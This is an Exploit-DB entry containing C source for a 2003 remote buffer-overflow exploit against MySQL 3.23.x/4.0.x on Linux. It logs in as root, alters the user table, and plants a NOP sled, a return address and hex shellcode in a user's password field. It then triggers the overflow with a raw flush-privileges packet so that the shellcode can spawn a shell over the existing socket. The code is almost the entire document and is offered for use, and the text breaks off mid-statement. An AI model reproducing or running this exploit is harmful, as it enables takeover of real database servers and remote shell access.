Exploit-DB #98
Description: MySQL 3.23.x/4.0.x - Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2003-09-14
Author: bkbll

Exploit:
/* Mysql 3.23.x/4.0.x remote exploit
* proof of concept
* using jmp *eax
* bkbll (bkbll cnhonker.net,bkbll tom.com) 2003/09/12
* compile:gcc -o mysql mysql.c -L/usr/lib/mysql -lmysqlclient
* DO NOT DISTRUBITED IT
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/select.h>
#include <netdb.h>
#include <mysql/mysql.h>

#define PAD 19*4*2
#define JMPADDR 0x42125b2b
#define ROOTUSER "root"
#define PORT 3306
#define MYDB "mysql"
#define ALTCOLUMSQL "ALTER TABLE user CHANGE COLUMN Password Password LONGTEXT"
#define LISTUSERSQL "SELECT user FROM mysql.user WHERE user!='root' OR user='root LIMIT 1,1'"
#define FLUSHSQL "\x11\x00\x00\x00\x03\x66\x6C\x75\x73\x68\x20\x70\x72\x69\x76\x69\x6C\x65\x67\x65\x73"
#define BUF 1024

MYSQL *conn;
char NOP[]="90";
/*
char shellcode[]=
"31c031db31c9b002"
"cd8085c0751b4b31"
"d2b007cd8031c0b0"
"40cd8089c331c9b1"
"09b025cd80b001cd"
"80b017cd8031c050"
"405089e331c9b0a2"
"cd80b1e089c883e8"
"0af7d04089c731c0"
"404c89e250505257"
"518d4c240431dbb3"
"0ab066cd805983f8"
"017505803a497409"
"e2d231c04089c3cd"
"8089fbb103b03f49"
"cd8041e2f851686e"
"2f7368682f2f6269"
"89e351682d696c70"
"89e251525389e131"
"d231c0b00bcd8090";
*/
char shellcode[]=
"db31c03102b0c931"
"c08580cd314b1b74"
"cd07b0d2b0c03180"
"8980cd40b1c931c3"
"cd25b009cd01b080"
"cd17b08050c03180"
"e3895040a2b0c931"
"e0b180cde883c889"
"40d0f70ac031c789"
"e2894c[PII_REDACTED]"
"244c8d51b3db3104"
"cd66b00af8835980"
"[PII_REDACTED]74493a"
"c031d2e2cdc38940"
"b1fb8980493fb003"
"e24180cd6e6851f8"
"6868732f69622f2f"
"6851e389706c692d"
"5251e28931e18953"
"b0c031d29080cd0b";

int type=1;
struct
{
 char *os;
 u_long ret;
} targets[] =
     {
          { "glibc-2.2.93-5", 0x42125b2b },
    },v;

void usage(char *);
void sqlerror(char *);
MYSQL *mysqlconn(char *server,int port,char *user,char *pass,char *dbname);

main(int argc,char **argv)
{
    MYSQL_RES *result;
    MYSQL_ROW row;
    char jmpaddress[8];
    char buffer[BUF],muser[20],buf2[800];
    my_ulonglong rslines;
    struct sockaddr_in clisocket;
    int i=0,j,clifd,count,a;
    char data1,c;
    fd_set fds;
    char *server=NULL,*rootpass=NULL;

    if(argc<3) usage(argv[0]);
    while((c = getopt(argc, argv, "d:t:p:"))!= EOF)
      {
            switch (c)
            {
              case 'd':
                  server=optarg;
                  break;
              case 't':
                  type = atoi(optarg);
                  if((type > sizeof(targets)/sizeof(v)) || (type < 1))
                       usage(argv[0]);
                  break;
             case 'p':
                  rootpass=optarg;
                   break;
             default:
                  usage(argv[0]);
                  return 1;
              }
          }
          if(server==NULL || rootpass==NULL)
              usage(argv[0]);
    memset(muser,0,20);
    memset(buf2,0,800);
    printf("@-------------------------------------------------@\n");
    printf("#  Mysql 3.23.x/4.0.x remote exploit(2003/09/12)  #\n");
    printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @\n");
    printf("---------------------------------------------------\n");
    printf("[+] Connecting to mysql server %s:%d....",server,PORT);
    fflush(stdout);
    conn=mysqlconn(server,PORT,ROOTUSER,rootpass,MYDB);
    if(conn==NULL) exit(0);
    printf("ok\n");
    printf("[+] ALTER user column...");
    fflush(stdout);
    if(mysql_real_query(conn,ALTCOLUMSQL,strlen(ALTCOLUMSQL))!=0)
        sqlerror("ALTER user table failed");
    //select
    printf("ok\n");
    printf("[+] Select a valid user...");
    fflush(stdout);
    if(mysql_real_query(conn,LISTUSERSQL,strlen(LISTUSERSQL))!=0) 
        sqlerror("select user from table failed");
    printf("ok\n");
    result=mysql_store_result(conn);
    if(result==NULL)
        sqlerror("store result error");
    rslines=mysql_num_rows(result);
    if(rslines==0)
        sqlerror("store result error");
    row=mysql_fetch_row(result);
    snprintf(muser,19,"%s",row[0]);
    printf("[+] Found a user:%s\n",muser);
    memset(buffer,0,BUF);
    i=sprintf(buffer,"update user set password='");
    sprintf(jmpaddress,"%x",JMPADDR);
    jmpaddress[8]=0;
    for(j=0;j<PAD-4;j+=2)
    {
        memcpy(buf2+j,NOP,2);
    }
    memcpy(buf2+j,"06eb",4);
    memcpy(buf2+PAD,jmpaddress,8);
    memcpy(buf2+PAD+8,shellcode,strlen(shellcode));
    j=strlen(buf2);
    if(j%8)
    {
        j=j/8+1;
        count=j*8-strlen(buf2);
        memset(buf2+strlen(buf2),'A',count);
    }
    printf("[+] Password length:%d\n",strlen(buf2));
    memcpy(buffer+i,buf2,strlen(buf2));
    i+=strlen(buf2);
    i+=sprintf(buffer+i,"' where user='%s'",muser);
    mysql_free_result(result);
    printf("[+] Modified password...");
    fflush(stdout);    
    //get result
    //write(2,buffer,i);
    if(mysql_real_query(conn,buffer,i)!=0) 
        sqlerror("Modified password error");
    //here I'll find client socket fd
    printf("ok\n");
    printf("[+] Finding client socket......");
    j=sizeof(clisocket);
    for(clifd=3;clifd<256;clifd++)
    {
        if(getpeername(clifd,(struct sockaddr *)&clisocket,&j)==-1) continue;
        if(clisocket.sin_port==htons(PORT)) break;
    }
    if(clifd==256)
    {
        printf("FAILED\n[-] Cannot find client socket\n");
        mysql_close(conn);
        exit(0);
    }
    data1='I';
    printf("ok\n");
    printf("[+] socketfd:%d\n",clifd);
    //let server overflow
    printf("[+] Overflow server....");
    fflush(stdout);
    send(clifd,FLUSHSQL,sizeof(FLUSHSQL),0);
    //if(mysql_real_query(conn,FLUSHSQL,strlen(FLUSHSQL))!=0) 
    //    sqlerror("Flush error");
    printf("ok\n");
      printf("[+] sending OOB.......");
      fflush(stdout);
      if(send(clifd,&